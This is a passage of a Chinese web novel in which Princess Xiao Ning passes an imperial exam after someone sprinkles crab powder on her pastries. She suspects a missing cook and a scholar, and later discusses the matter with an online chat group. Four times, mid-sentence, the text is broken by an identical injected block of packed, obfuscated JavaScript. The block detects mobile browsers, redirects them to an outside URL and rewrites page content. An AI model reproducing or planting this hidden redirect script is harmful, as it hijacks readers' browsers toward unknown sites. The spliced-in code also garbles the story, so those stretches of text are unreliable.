过了一会,两个丫环有些焦急地跑了过来,身后还跟着几个仆妇。 一个丫鬟道:“启禀大公主、庆安县主,我们刚才去厨房找杜四娘子,但是她不见了。奴婢觉得你们可能要吃东西,因此把厨房里其他厨娘叫来了,要吃什么可以吩咐他们去做。” 萧柠吓了一跳,问道:“不见了?她怎么会不见了?有没有派人去找?” 丫环:“奴婢已经让几个小厮外出寻找了。杜四娘子虽然不在,其他厨娘是在的,公主可以吩咐她们。” “不,我不是要吃东西。” 接着,萧柠转头看向另一个厨娘,叫春喜婶的,道:“春喜婶,你来帮我看看这些糕点,看有没有问题。” 萧柠把自己的食盒和萧玉蟾的食盒递过去。 春喜婶也做了几十年厨娘了,很有经验。 她略做检查,便惊讶地拿起一块葵花酥,道:“公主,这葵花酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147010|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表面有蟹粉。” 萧柠也十分震惊:“这上面有蟹粉?怪不得我吃了会闹肚子,我对蟹粉过敏……” 萧柠想起,自己在考场吃葵花酥时,觉得葵花酥味道有些奇怪,原来是加了蟹粉的缘故。 她多年不曾吃蟹粉,早就忘了其味道了,所以一时没反应过来。 葵花酥是黄色的,蟹粉也是黄色的。少量蟹粉洒在葵花酥上,不太容易看出来。 春喜婶道:“杜四娘子是知道公主对蟹粉过敏的,她怎么会把蟹粉放在葵花酥上呢?难道是故意害公主吗?可她没理由这么做啊……” 姜家祖母着急道:“虽然杜四娘子一向老实,可是公主和县主的食物就是她做的啊。而且她还失踪了,莫不是心里有鬼?我看,还是报官吧。” 萧柠阻止道:“祖母且慢,先找找杜四娘子,如果能找到,当面问问她。也许她有事外出,并不是畏罪潜逃了。 等下义父也该回来了,让他帮着参详参详。咱们若是自己能解决,就不用惊动官府了。 我参加县试,本就不合规矩,应该低调些,不宜闹得天翻地覆的。” 姜家祖母也冷静了下来,道:“公主说的有理。那就再等等看吧。” 姜家祖母派了更多人手去寻找杜四娘子。 萧柠则是问其他几个厨娘:“杜四娘子是什么时候不见的?” “她早上做完糕点,就去休息了,后来我就没再见过她。” “奴婢也不知道。奴婢今天是下午的班,下午到厨房时,杜四娘子就不在。” 萧柠:“把府中所有下人都召集过来,我问问他们。” 很快,所有下人都聚集在了院子里。 萧柠问道:“今天你们有没有见过杜四娘子?” “没有。” “没见过。” “今天早上,小的见杜四娘子出了府门,她说去买东西。从那之后她就没回来过。” 萧柠:“她有没有说去买什么东西?” “没说。” “那她往哪个方向走了?” “这个……没注意。因为当时,小的在打牌……小的该死……” 萧柠道:“罢了。杜四在不在?” 有个仆人道:“杜四出门找他娘子去了。” “杜四娘子的家人还有在这里的吗?” 有个七八岁的小丫环站了出来:“公主,我是杜四娘子的女儿,我叫小冬瓜。” “小冬瓜,你娘有没有在家里?” “没有,刚才我们回家看过了。” “她有没有提过今天要去哪里?” “没有。” 见什么也问不出来,萧柠有些焦躁。 她让下人们先去干活,然后她继续看着这些糕点。 她有些疑惑,如果真是杜四娘子动的手脚,她怎么能肯定萧柠一定会吃葵花酥呢? 因为盒子里的糕点很多,只有葵花酥是黄色的,可以偷偷撒蟹粉上去而不被发现。 蟹粉撒到其他糕点上,是比较醒目的。 萧柠让几个厨娘检查一下其他几种糕点,看有没有问题。 68. 张贴(修) 厨娘们检查了,道:“公主,其他几种糕点都没问题,里面没有加什么泻药或是您过敏的食材。而且……” “而且什么?” “庆安县主的糕点没有任何问题,她的葵花酥上一点蟹粉也没有。她食盒里的糕点也没有添加什么会令她过敏的东西。” 萧玉蟾道:“怪不得我吃了没事,公主吃了一块就闹肚子……莫非这幕后之人只是冲着公主来的?那个人不希望公主成为童生?” 萧柠困惑道:“我参加童生考试,可以说是一件小事,究竟对谁有威胁?谁要大费周章地害我?如果真是杜四娘子把蟹粉洒在我的糕点上,她一定不是主谋,是有人指使的。” 萧玉蟾点头:“我也这么认为。” 这时,冬香把萧柠拉到一边,说道:“公主,我怀疑……” 冬香却没再说下去。 萧柠道:“你有怀疑的对象?怎么不说?” “我……我觉得,可能是二公主……” 萧柠这才明白冬香为何吞吞吐吐的,冬香身为一个丫环,不太敢在背后说二公主。 但是,萧柠却觉得有几分道理。 二公主萧梦苒一向不喜欢萧柠,之前又误以为萧柠考童生是为了吸引皇帝的注意。那么,萧梦苒肯定不希望萧柠能成功通过童生考试。 只是,萧梦苒是如何买通姜家的杜四娘子的?杜四娘子分明跟萧柠更为亲近。 于是,萧柠说道:“也许她有这个动机,但是她应该没法控制杜四娘子才对。” 冬香道:“公主,您忘了,您跟二公主互换身份那会,二公主以姜家大小姐的身份,住在姜家很久。也许在那时,她就把杜四娘子发展成自己人了。 就算那时候没有拉拢杜四娘子,这会二公主想要收买杜四娘子,也是做得到的。她在姜家住过,肯定知道姜家经常给您做食物的厨娘是谁。” 萧柠道:“倒是有这个可能……” 萧柠走回客厅,对姜家祖母说道:“祖母,我有事想单独问您,请您跟我来。” “是。” 姜家祖母虽然辈分高,但地位低于萧柠,因此说话毕恭毕敬的。 萧柠带着祖母来到假山后面,确认周围没人之后,才问道:“祖母,二公主萧梦苒住在姜家的时候,对姜家下人熟悉吗?有没有跟杜四娘子单独来往过?” 祖母回忆道:“应该不熟悉。二公主眼高于顶,架子很大,住在姜家时,用的都是从宫里带出来的下人,不许姜家的仆人进前伺候。 她应该不认识杜四娘子。” “这就怪了……” 姜家祖母聪慧,而且也管家多年,经历过许多事,猜到了萧柠心中所想,问道:“大公主是不是怀疑,是二公主买通了杜四娘子,让杜四娘子在您的糕点上撒蟹粉?” “是的。祖母,您可别说出去。我也没有证据。” “祖母知道轻重的。不过,就这件事而言,我觉得不像是二公主做的。她根本不认识杜四娘子,离开姜家后,也就更没有机会收买姜家的下人了。 而且,杜四娘子是个老实本分的人,又真心对公主好,应该不会被人收买才是。祖母觉得,也许此事另有隐情,还是得等找到杜四娘子再说。” 萧柠点头:“祖母说的有道理。” 两人回到客厅,义父姜焕已经回来了。 他已经从别人口中得知了今天发生的事,便关切地问萧柠:“公主身体无大碍吧?要不要请个大夫瞧瞧?” 萧柠道:“只是有点虚弱,应该没事。” 话虽如此,姜焕不放心,还是派人去请大夫了。 接着,姜焕又问道:“公主答题答得怎么样?有没有受影响?” “因为闹肚子的缘故,我答题的时间大大缩短了,所以策论写得没有计划中的好。题目倒是都完成了。” 姜焕点头道:“嗯,那就行。县试的第一场考试难度不会很大,以公主的水平,应该能通过的。” 萧柠问道:“义父,这些天杜四娘子有没有什么异常?” “好像没有,看不出想给你下毒的样子。” 过了一会儿,大夫来了,给萧柠诊脉。 大夫说道:“这位姑娘没什么大碍,只是腹泻严重,吃几副药就好了。另外,多喝点盐水,注意清淡饮食。” 大夫开了药后,姜焕赶紧让人去熬药,并命人端来一碗淡盐水给萧柠喝。 萧柠喝了之后,感觉好多了。 姜焕道:“公主考试辛苦,先回去休息吧。这件事下官会替您查,有什么消息会及时通知您的。公主这些天还是把重心放在备考上,不要分心。” 姜柠确实很累,因此便说道:“辛苦义父了,那我和玉蟾先回宫去。” 萧柠回宫之后,先睡了一觉。 醒来后,她一会儿担心考试成绩,一会儿在想到底是谁要害她,有些心神不宁。 萧玉蟾安慰道:“公主,别担心,船到桥头自然直。” “嗯。” 吃过晚饭后,萧柠和萧玉蟾一起去御花园走走,散散心。 这时,她们却碰见了二公主萧梦苒。 萧梦苒有些得意地说:“听说大皇姐今天考试不太顺利,依我看,接下来几场考试也不用去了,肯定没法通过的。” 萧柠看着她的眼睛,问道:“你把杜四娘子藏到哪里去了?” 萧梦苒有些生气:“什么杜四娘子,没听说过。我跟你说,你要是连童生考试都通不过,那可太丢人了。我要是你呀,都没脸再出现在父皇面前。” 萧柠有些生气,但不想跟萧梦苒起冲突,免得自惹麻烦,因此便直接牵着萧玉蟾的手走了。 萧梦苒在后面叫道:“站住!萧柠,我没让你走,你怎么敢走?” 萧柠回头,微微一笑:”二公主怕是忘记了,我才是大公主。我做什么事,不需要向你这个妹妹交代。” “你……” 萧梦苒很生气,但也没办法,只能眼睁睁看着萧柠离开。 她看着萧柠的背影,嘟囔道:“有什么了不起的?不就是比我大了一个月嘛,哼。将来你先死。” 萧柠和萧玉蟾回到房间后,萧玉蟾问道:”公主,您看今天的事,像不像是二公主主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147011|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导的?” “我不能确定……没有证据的情况下,说什么都是空的。还是等义父的调查结果吧。” 第二天中午,姜焕派人传来消息,说是萧柠和萧玉蟾都通过了第一场考试,明天可以参加第二场考试了。萧玉蟾排在第4名,萧柠排在60多名,已经是倒数了,但总归是通过了。 萧柠觉得很庆幸。这个结果跟她预想的差不多。 萧玉蟾的准备比她充分,所以成绩比她好也是正常的。 两个女孩互相恭喜了一阵,脸上都洋溢着幸福的光芒。 冬香笑道:“太好了,是不是应该做点好吃的庆祝一下?” 萧柠道:“是应该做点好吃的,给我们俩补补身体。不过庆祝就不必了,等参加完全部考试,成为童生之后再庆祝吧。” “好嘞,奴婢这就吩咐御膳房去做。” 姜焕派来传话的小太监还侍立在一旁,萧柠问他:“姜大人有没有说其他事?” “姜大人说,该找的人还没有找到,请公主不要着急,他会继续找的。小人也不知他这话是什么意思。” 萧柠一听就明白了。杜四娘子还没有找到,所以不知道是谁给萧柠的糕点下了蟹粉。 现在她也只能把心思放在接下来的考试上,腹泻的事就只能交给义父姜焕去查了。 她对小太监说道:“本公主已经知道姜大人的意思了。请你转告姜大人,本公主会好好准备考试,请他不要担心。” “是,小的这就去转告。” ———————————— 曲水县的县衙门口,通过第一场考试的考生名单已经贴了出来。 许多考生和百姓站在门口看着考试结果。 考上的自然兴高采烈,考不上的则垂头丧气。 县试第一场已经是科举考试中最简单的一场考试了,如果连这一场都通不过的话,说明最终能够考中举人或进士的可能性不大。 有些落榜的考生已经准备放弃科举这条路了,而有一些还准备继续努力。 有些人看见萧柠和萧玉蟾的名字也在榜上,提出了质疑:”公主和县主是女流之辈,平时读书肯定不多,如何能上榜?是不是县令大人畏惧她们的身份,所以给她们开了后门?” “是啊,昨天考试的时候,我亲眼看见大公主去了茅房,很久都没出来。她说不定连卷子都没有写完,怎么能上榜呢?至于那庆安县主,更是名不见经传,怎么可能考中第四名?” 还有些人小声劝道:“你们别这么说,不要命了?” “是啊,公主和县主的事你们少管。” 有人不服道:“我们都是凭真本事,只有她们两个凭自己的身份上榜,我们心中实在不服。” 这时,曲水县的教谕走了出来,对众人说道:“各位,大公主和庆安县主早就料到别人会质疑她们的成绩,所以她们早有吩咐:等成绩一出来,就把她们两人的答卷张贴在县衙门口,让大家都看看。 如果有人认为她们的答卷没有资格上榜,尽可提出质疑。但是,必须要认真看过,提出她们不能上榜的理由才行。” 69. 合作(修) 接着,教谕就把萧柠和萧玉蟾的答卷贴在了榜单的旁边。 众人好奇地上前围观,发现萧柠和萧玉蟾的卷子确实答得不错。 萧玉蟾很有文采,而且很有见地。她的策论和试帖诗写得确实远在众人之上,评在第四名实至名归。 萧柠的文章虽然略显仓促,但也有头有尾,论据详实,文采斐然,别有见地,是完全有资格上榜的。 而且,她们的字都写得非常漂亮,完全不输给其他的读书人。 这下,众人心服口服,也不再敢提出质疑了。 也有些举子窃窃私语:“怎么会?两个女孩怎么能写出这样好的文章?莫非是有人代笔?” “考试的题目都是现场才知道的,她们怎么可能提前准备呢?” “这倒是。真奇怪,难道大公主和庆安县主也花了大量的时间读书?我认为这不可能。她们根本就不需要读书才对。” “也许是她们喜欢读书呢。” “这可真是怪事啊!” “你说这大公主和庆安县主来考童生干什么呢?难道她们将来还想考进士,当官不成?” “女人怎么会想当官?估计是她们自认为有才华,所以想来参加科考,炫耀一番。若真能取得功名,也能流芳百世。依我看,她们是求名。” “这位仁兄说的有道理啊。总之就是我秦某人是服了。” “还是等所有考试结束后,再来说服不服的事吧。接下来还有好几场呢,她们未必都能通过。” 众人讨论了一番,也就散了。 第二天,萧柠和萧玉蟾准时来县衙参加第二场考试。 今天她们的食物是由金妈妈准备的,应该万无一失了。 之前吃过萧柠糕点的举子夏以清也在现场。他见到萧柠,又行了个大礼,表示感谢。 萧柠对他微笑致意。 今天夏以清看着精神不错,应该是吃了饭才来的,没有像上次一样饿肚子。 这时,萧柠忽然想起了一件事。 之前她把自己的食物分给夏以清,夏以清每种糕点都拿了好几块,唯独没有拿葵花酥。 这也导致了食盒里面葵花酥的数量远多于其他糕点。所以萧柠随手一拿,就拿到了有问题的葵花酥。 这到底是巧合,还是其他原因? 想到这儿,萧柠心中一凛。 她走到萧玉蟾身边,偷偷说了自己的猜测。 萧玉蟾道:“公主的意思是,您上回吃到有问题的糕点,其实跟夏以清有关?” “有这个可能。现在想来,一切都太过刻意。这么多举子,只有夏以清一个人饿晕了过去。我给他吃的,他什么都拿了,唯独没有拿葵花酥……他是不是早就知道葵花酥有问题?” “如果是这样的话,他为何还敢出现呢?不应该像杜四娘子那样,赶紧逃跑吗?” “也许,他是觉得我没有证据,不能拿他怎么样。他舍不得放弃功名,自然不会跑掉。” “可是,您又不认识他,更谈不上跟他有什么过节,他为何要害您?” “也许,他是被人收买的……我总感觉,暗处有人在针对我,而且做得很隐秘。” “那此人这么做的目的是什么?只是想搅黄您的童生考试吗。” “从现在的线索来看,应该是这样。” “我觉得这也太大费周章了吧,有点像是杀鸡用牛刀。幕后之人要收买姜家的厨娘杜四娘子,又要收买举子夏以清,才能达到目的。而且,还有被发现的风险。” 萧柠道:“我也不明白是怎么回事。幕后之人既然有这么大的本事,直接杀了我反而更好,一劳永逸。” “公主您看,夏以清好像神色如常,不像做了亏心事的样子。” 萧柠又偷偷朝夏以清看了一眼,见夏以清的神情确实没有什么异常。要么夏以清真是无辜的,要么就是他很会演。 眼下考试在即,萧柠也没时间深究,只能把心思放在考试上。 今天倒是没出什么问题,顺利考完了。 散场的时候,萧柠走到了夏以清面前,道:“夏以清,本公主有事要问你。” 夏以清吓了一跳,赶紧行礼道:“公主有什么要问的?” “上次我给你食物,你拿了很多种糕点,为何没有拿葵花酥?” “因为小人对葵花酥过敏……” “真的吗?” “千真万确。” 萧柠对萧玉蟾道:“玉蟾,你拿一块葵花酥过来。” 今天萧柠的食盒里没有葵花酥,经过上次的事,她怕见到葵花酥,就特意让金妈妈不要给她做。 萧玉蟾爱吃葵花酥,她的食盒里是有这个糕点的。 萧玉蟾拿了一块葵花酥递给萧柠,萧柠又递给夏以清:“吃了它。” 夏以清有些担忧:“可是……可是小人真的对葵花酥过敏,吃了会身体不适……” “你尽管吃,吃出问题来,本公主出钱给你治。” “是……” 夏以清只得把葵花酥吃了。 没过一会,他身上就起了很多红疹子,一抓就肿起来,有些可怖。不抓又痒,他急得抓耳挠腮的。 萧柠赶紧派两个侍卫,带夏以清去医馆。 萧玉蟾走到萧柠身边,道:“公主,原来他真的对葵花酥过敏,才没拿的。照这么说,他应该没有嫌疑。” 萧柠沉思道:“夏以清拿走我其他糕点的事,也许只是巧合……真正害我的,应该是杜四娘子。 只是,杜四娘子只在葵花酥里下了蟹粉,她怎么能保证我一定会吃葵花酥呢?万一我的糕点没有分给别人,那食盒里有这么多糕点,我未必会吃葵花酥。” 萧玉蟾:“也许,她也只是碰运气吧。如果您刚好吃了葵花酥,她就达成目的了。 如果没有,她可能会想别的招数来害您。毕竟考试有好几场,要动手脚有的是机会。” 萧柠隐隐觉得有哪里不对,但又说不上来。 这时,她发现有好多人都用异样的眼光看她,还窃窃私语。 萧柠耳力不错,也能隐隐约约听到一些话。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147012|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围的人好像在议论萧柠刚才让夏以清吃葵花酥的事,觉得她做得不对。 还有些人猜测,萧柠故意让夏以清过敏,如果夏以清因病缺席接下来的考试,萧柠就能少一个竞争对手。 听着这些不着边际的话,萧柠觉得又好笑,又气愤。 只是,若跟这些人发生争执,也没必要,而且有失身份。 因此,萧柠只是冷冷地看了周围的人一眼,他们就不敢再议论了,各自离开了。 萧柠和萧玉蟾一起走出考场,发现今天是义父姜焕在外面等着。 萧柠开心地跑到姜焕身边,道:“义父,您怎么来了?现在时间还早,您应该还在办公吧。” 姜焕笑道:“今日没有太多政事,因此臣就早点出来了。” 姜焕把萧柠和萧玉蟾带到一间茶楼的雅座,让她们喝茶、吃点心。 接着,姜焕问道:“今日怎么样?” 萧柠:“还好,饮食没出问题,我也顺利答完了题目。不过我却有了新的发现……” 萧柠把夏以清的事说了。 接着她说道:“我也不知道这个夏以清到底有没有问题,他确实是对葵花酥过敏的。而且,如果真的是他害我,他怎么敢再出现在我面前呢?” 姜焕想了一会,道:“公主,您上次腹泻的事,恐怕是需要杜四娘子和夏以清两个人合作才能完成的。 杜四娘子给您的葵花酥里下了蟹粉,但是她没有办法确保您真的吃到葵花酥。因此夏以清就出场了,他以肚子饿为由拿走了您其他的糕点。 虽然其他糕点还剩下一些,但是葵花酥剩下的是最多的,您吃到葵花酥的概率也就更大。 所以臣认为他们两个都有嫌疑,他们应该是互相合作的关系。” 听姜焕这么一说,萧柠豁然开朗。但是她还有一个疑问。 “义父,杜四娘子有机会结识夏以清吗?” 姜焕:“杜四娘子是姜家的仆妇,按理说不会结识夏以清这种普通的举子。夏以清家境贫寒,也没有能力结识高门大户的仆妇,并且不被发现。 但是他们若要联手害你,其实不一定要互相认识,只需要做不同的事情就可以了。 也许存在着第三个人,分别对他们下达了不同的任务,他们都是听命于这第三个人。” 萧柠道:“我也是这么想的。只是到底是谁处心积虑地要害我?” “应该是一个不希望您考中童生的人。您考童生的机会本来就是向皇上求来的,如果一次不顺利,皇上应该不会给您第二次机会。那您的科举之路就彻底堵死了。” 萧柠查看了四周,见四下无人,便小声说道:“义父,您觉得会不会是二公主?” “有这个可能。但如果是二公主不想让您参加童生考试,以她的行事风格,很有可能跑到皇上面前去打闹,让皇上收回成命,而不是在暗中做这些事。” “是啊,二公主从来不怕得罪我,也不怕跟我闹翻。她如果想阻止我的话,直接明着来就可以了,何必暗中生事呢?可是,除了她之外,还有谁?” 70. 胶着(修) 姜焕道:“其实应该有很多人都不希望公主参加科举考试。这个范围很大,现在也难以确定是谁在背后搞鬼。 既然夏以清有嫌疑,臣会一直盯着他,看他跟什么人有接触。另外,杜四娘子还没找到,臣会继续找她的。” “义父的意思是,害我之人是朝中大臣?” “也许是某个比较古板的朝中大臣,或者是其他人,比如皇室宗亲也有可能。公主不要担心,我会尽力帮您找到那个人的。接下来还有几场考试,您专心备考就是。” “好,那就有劳义父了。” 接下来比较顺利,萧柠通过了所有考试,跟萧玉蟾一起考中了童生。 她们一共经历了八场考试(县试5场,府试3场),历经几个月的时间,才取得了童生的功名。 只有亲自经历了,才知道科举考试有多么不容易。 而成为童生,仅仅是迈出第一步而已,接下来还要考秀才。 萧柠和萧玉蟾开心了一会,就开始琢磨起秀才考试的事。 萧柠道:“父皇未必会同意我们参加秀才考试,怎么办呢?” 萧玉蟾道:“大公主可以先去问问皇上,如果他不同意,您就暂时不要提起这事。 这段时间您可以多做一些事,增加您和皇上的父女感情。等时间长了,皇上对您感情加深,说不定就会同意您的请求。在被允许参加秀才考试之前,我们也好好复习,不要懈怠,早做准备。 这样一旦获得考秀才的机会,我们就能立刻考上了。” “你说的对。” 萧柠决定先去问问皇上。不过在那之前,她想知道义父调查的事怎么样了。 这段时间,义父姜焕一直没有消息传进来。 萧柠来到尚书台,对门口的小吏说道:“我要见尚书仆射姜大人,请你代为通传。” 很快,姜焕就出来见萧柠。 萧柠问道:“义父,之前调查的事有进展了吗?” 姜焕摇头道:“杜四娘子一直没有找到。我的人暗中跟踪夏以清很久,也没有发现他跟什么人有接触。 他每天除了在家读书,就是去参加考试,或是参加文会,没有露出什么把柄。” 姜柠道:“夏以清这么长时间都没有露出马脚,是不是代表他真的是无辜的?他当时拿走我的糕点,也是出于巧合? 当时,他在考场饿晕过去,也不能确保我一定会把食物给他。万一我当时袖手旁观,也就没人能拿走我的糕点了。 事情发生这么久了,他既没有跟什么可疑人等接触,也没有消失,反而大摇大摆地参加了每一场考试。也许他确实是个普通的举子。” 姜焕道:“有这个可能。照这么说的话,暗中害您的就只有杜四娘子一个人了。可惜臣一直没有找到她,所以也没法审出她幕后的主使。” “她会不会已经死了?” “有可能,但是京城广大,人口众多,消失了一个人是很难被发现的。” “对了,夏以清有没有通过童生考试?” “他也通过了。” “那他应该会继续参加接下来的考试,我跟他应该有很多次见面的机会。如果他心里有鬼的话,迟早会露出马脚的。” “是。臣一直查不到线索,是不是要将此事禀报给京兆府,让京兆府的人来查?” 萧柠道:“这只是一件小事,不宜惊动京兆府。而且我当时只是腹泻而已,并没有造成什么严重的后果,京兆府也没有理由投入太多的精力去查。 我并不想让父皇知道此事,否则他会认为放我出宫参加考试会引起风波,那他就更加不愿意支持我参加以后的考试了。” “公主的考量也有道理。那就按您的意思来吧。” 萧柠跟姜焕告别,来到御书房找皇帝。 皇帝这会儿正好有空,萧柠便提起自己想参加明年的秀才考试。 皇帝笑道:“你要考秀才做什么?你是公主,功名对你无用。” “父皇,我觉得以我的水平可以考中秀才,你就让我试试嘛。” “父皇相信你有秀才的水平,这样可以了吧?考试就不必去参加了。” “父皇,我已考中童生,不想就此放弃,想要更进一步。” “自古以来,从来没有公主去参加科举考试的。之前你要考童生,小打小闹的,朕也就应允你了。但是考秀才绝对不行。科举考试是为了给国家选拔人才而设的,不可儿戏。你若一再参加,成何体统?其他举子也会认为朕轻慢他们,所以才允许一个小姑娘频繁进入考场,跟他们一起考试。” 见皇帝严肃拒绝,萧柠也就没有继续请求。 她希望自己将来能成为一名真正的女官,如果有功名在身,就更能服众一些。 可是,她连考功名也不被允许。 萧柠觉得心里堵得慌。 她询问自己,在如此艰难、看起来无路可走的情况下,自己是不是仍然要成为一名女官? 答案是:没错,她要继续走下去。如果前方无路,就由她来开路。 想明白了这一点后,萧柠心中的信念反而更加坚定了。她不会被眼前的挫折所打倒。 于是她假装放弃,转移话题道:“父皇,那我就不参加接下来的考试了。不过,我考中了童生,您是不是应该给我一些奖励?” 皇帝笑呵呵地说:“你想要什么奖励?” “我想要1000两银子,两只小猫当宠物,10套新衣服,还有文渊阁的钥匙。” 文渊阁是皇家藏书阁,里面的书包罗万象,应有尽有。不过只有白天开放。 如果萧柠拿到文渊阁的钥匙的话,不论什么时候都可以进去看书了。 这些要求对皇帝来说都是小事,因此他便都同意了。 “相比于其他皇子公主,你的钱和衣服确实少了些。1000两银子和10套衣服,明天就送到你宫里。小猫的话,朕得好好挑选,挑两只漂亮的给你。文渊阁的钥匙朕等会派人送给你。” 萧柠兴高采烈:“多谢父皇!” 见萧柠这么容易满足,皇帝也觉得很高兴。 萧柠回到自己的房间,跟萧玉蟾说了刚才的事。 萧玉蟾道:“我早就料到皇上不会轻易同意的,不过以后还有机会。” 萧柠笑道:“还好我灵机一动,向父皇要了别的东西。现在我们有钱、有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147013|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫、有新衣服,还有文渊阁的钥匙,可以随时进文渊阁学习。等父皇把东西送到了,我分你一半。” 萧玉蟾笑道:“猫也分我一只?” “对呀,就是为了分给你,我才向父皇要了两只猫。” “多谢大公主。猫我要了,其他东西您就自己留着吧。” “那拿一部分吧。没有你的指导,我也没法这么顺利地通过童生考试。” 萧玉蟾惊讶地看着萧柠:“谢谢公主,您真是一点架子都没有。其实我是托您的福,才能跟你一起参加童生考试。要送东西,也应该是我送您才对。” “咱们两个志同道合,不分彼此,就不用这么客气了。如果没有你陪我一起考试的话,我可能早就放弃了。” “是,那臣女就恭敬不如从命了。” “下次的院试是什么时候?” “好像是明年六月。” “那在六月之前,我争取让父皇同意我们参加考试。” 院士就是秀才考试,比童生考试难得多,录取率还不到十分之一。 如果要参加明年六月的考试,从现在就要开始准备了。 不过,时间上没有那么紧迫,所以萧柠就和萧玉蟾分开住了。萧玉蟾住到了自己的房间,就在萧柠的隔壁。 萧柠想起自己很久没进夸夸群聊天了,就屏退了下人,打开了夸夸群。 她把自己的经历大概说了一下,群里的人都在恭喜她。 【只涨工资不涨肉:萧柠也太棒了吧,竟然成了童生。】 【你已被群主移出群聊:小柠真是个才女。】 【樱桃小完犊子:嘿嘿嘿,沾沾喜气。】 【感觉尸体暖暖的:隔空放个烟花,为小柠庆祝一下。】 【回笼教教主:童生有什么特权吗?】 【萧柠:好像是上公堂时不用跪拜,然后在婚礼、丧礼等场合可以跟官员一起吃饭吧。】 【有趣的灵魂一百多斤:可你是公主,本来就有这种特权吧。你拥有的特权比童生多多了。不对,官员根本没有资格跟你同桌吃饭啊,除非你允许他们。】 【萧柠:那倒是,哈哈。】 【樱桃小完犊子:小柠的特权增加0】 【你已被群主移出群聊:哈哈哈,等小柠以后考中进士了,特权就更多了。】 【萧柠:我父皇不允许我参加后面的考试。】 【活人微死:什么?竟然这么过分】 【有趣的灵魂一百多斤:过分+1】 【回笼教教主:小柠可以自己偷偷去参加吗?】 【萧柠:这样的话得不到承认的,考了也没用。离院试还有大半年时间,我决定再找找机会,说服我父皇。】 【樱桃小完犊子:小柠,加油!】 【活人微死:小柠加油!】 大家都给萧柠加油,萧柠觉得自己浑身充满了力量。 【萧柠:谢谢大家。不过,我不知道幕后之人会不会再次出手。我义父家的那个厨娘还没找到呢。】 【你已被群主移出群聊:根据我多年看小说的经验,我觉得上次害你腹泻的人,八成是二公主。你只需要多防着她就可以了。】 71. 年底(修) 【萧柠:真的吗?】 【你已被群主移出群聊:目前对你特别有敌意的也就只有二公主吧?之前她不是还让你代替她去和亲吗?这是个标准的恶毒女配啊。】 【活人微死:我也觉得。除了二公主之外,估计没别人了吧。】 【樱桃小完犊子:我也这么认为。不过,她的母亲可是宠妃,在没有确切证据的情况下,也拿她没办法。】 【回笼教教主:根据我看了1000多本小说的经验,就算是有确切的证据,也扳不倒她。恶毒女配在前期都是很顽强的。】 【有趣的灵魂一百多斤:其实证据不重要,真相也不重要,重要的是皇帝想保谁,不想保谁。皇帝想保一个人,就算她恶贯满盈也没关系,皇帝照样会设法为她脱罪的。反之,如果皇帝不想继续保她了,哪怕她没罪,只是犯了一个小小的错误,皇帝也不会容忍。】 【萧柠:所以,我应该设法获得父皇的偏爱,让父皇逐渐讨厌二公主,这样他才可能为我做主?】 【有趣的灵魂一百多斤:这是一个办法。如果审判权在别人手上,你就只能设法去揣测别人的心意。最好的办法,是把审判权拿到自己手上。】 【萧柠:没错,谢谢姐姐提醒。】 群友的话,让萧柠豁然开朗。 她需要不停地成长,成为一个别人撼动不了的庞然大物。到那时,她才能真正地保护自己。 最好的自我保护,就是强大到可以碾压一切。 萧柠关闭群聊后天觉得自己精神饱满,于是又看了几页书。 第二天,皇帝身边的太监就送来了1000两银子、10套衣服,还有文渊阁的钥匙。 太监说道:“大公主,你要的猫还没送来,皇上说会抽空去百兽园,给您挑两只最好看的猫。” “好,有劳这位公公了。” 萧柠随手打赏了这个太监一点碎银子,太监很开心地离开了。 她送了萧玉蟾500两银子、5套衣服,萧玉蟾推辞不受。 一番推让之下,萧玉蟾拿了100两银子,一套衣服,剩下的就给萧柠留着了。 萧柠拿出100两银子,打赏了自己宫里所有的宫人,按照她们的品级给不同的赏钱。宫人们都很高兴。 系统给姜柠算了200积分,现在她的积分是6800。 —————————— 皇帝在百兽园挑了两只漂亮的波斯猫,让太监小石头给大公主送去。 半路上,小石头被二公主拦下了。 二公主萧梦苒问道:“小石头,你要把这两只猫送去哪儿?” 